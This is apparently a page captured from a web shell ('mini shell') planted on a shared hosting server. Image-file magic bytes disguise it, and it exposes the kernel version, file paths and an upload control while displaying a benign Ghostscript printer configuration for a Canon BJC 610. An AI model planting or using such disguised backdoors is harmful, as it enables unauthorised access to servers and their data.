ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux server378.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64

Current Path : /usr/share/ghostscript/lib/
Upload File :
Current File : //usr/share/ghostscript/lib/bjc610b3.upp

-supModel="Canon BJC 610, 720x720DpI, transparency film, color, rendered"
-sDEVICE=uniprint
-dNOPAUSE
-P- -dSAFER
-dupColorModel=/DeviceCMYK
-dupRendering=/ErrorDiffusion
-dupOutputFormat=/Canon
-r720x720
-dupMargins="{ 8.23 20.44 11.05 7.9 }"
-dupOutputComponentOrder="{ 3 2 1 0 }"  
-dupBlackTransfer="{
0.0000 0.0008 0.0033 0.0075 0.0133 0.0208 0.0300 0.0408 
0.0533 0.0674 0.0832 0.1007 0.1199 0.1407 0.1632 0.1873 
0.2131 0.2406 0.2697 0.3005 0.3330 0.3671 0.4029 0.4404 
0.4795 0.5203 0.5627 0.6069 0.6527 0.7001 0.7492 0.8000 
}"
-dupCyanTransfer="{
0.0000 0.0005 0.0021 0.0047 0.0083 0.0130 0.0187 0.0255 
0.0333 0.0421 0.0520 0.0630 0.0749 0.0879 0.1020 0.1171 
0.1332 0.1504 0.1686 0.1878 0.2081 0.2294 0.2518 0.2752 
0.2997 0.3252 0.3517 0.3793 0.4079 0.4376 0.4683 0.5000 
}"
-dupMagentaTransfer="{
0.0000 0.0005 0.0021 0.0047 0.0083 0.0130 0.0187 0.0255 
0.0333 0.0421 0.0520 0.0630 0.0749 0.0879 0.1020 0.1171 
0.1332 0.1504 0.1686 0.1878 0.2081 0.2294 0.2518 0.2752 
0.2997 0.3252 0.3517 0.3793 0.4079 0.4376 0.4683 0.5000 
}"
-dupYellowTransfer="{
0.0000 0.0005 0.0021 0.0047 0.0083 0.0130 0.0187 0.0255 
0.0333 0.0421 0.0520 0.0630 0.0749 0.0879 0.1020 0.1171 
0.1332 0.1504 0.1686 0.1878 0.2081 0.2294 0.2518 0.2752 
0.2997 0.3252 0.3517 0.3793 0.4079 0.4376 0.4683 0.5000 
}"
-dupBeginPageCommand="<
   1b5b4b 0200 000f
   1b28 62 0100 01
   1b28 63 0300 102110
   1b28 64 0200 02d0
   1b28 6c 0200 1420
   1b28 67 0100 E5
>"
-dupEndJobCommand="(\033\050b\001\000\000\033@)"
-dupEndPageCommand="(\014)"

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST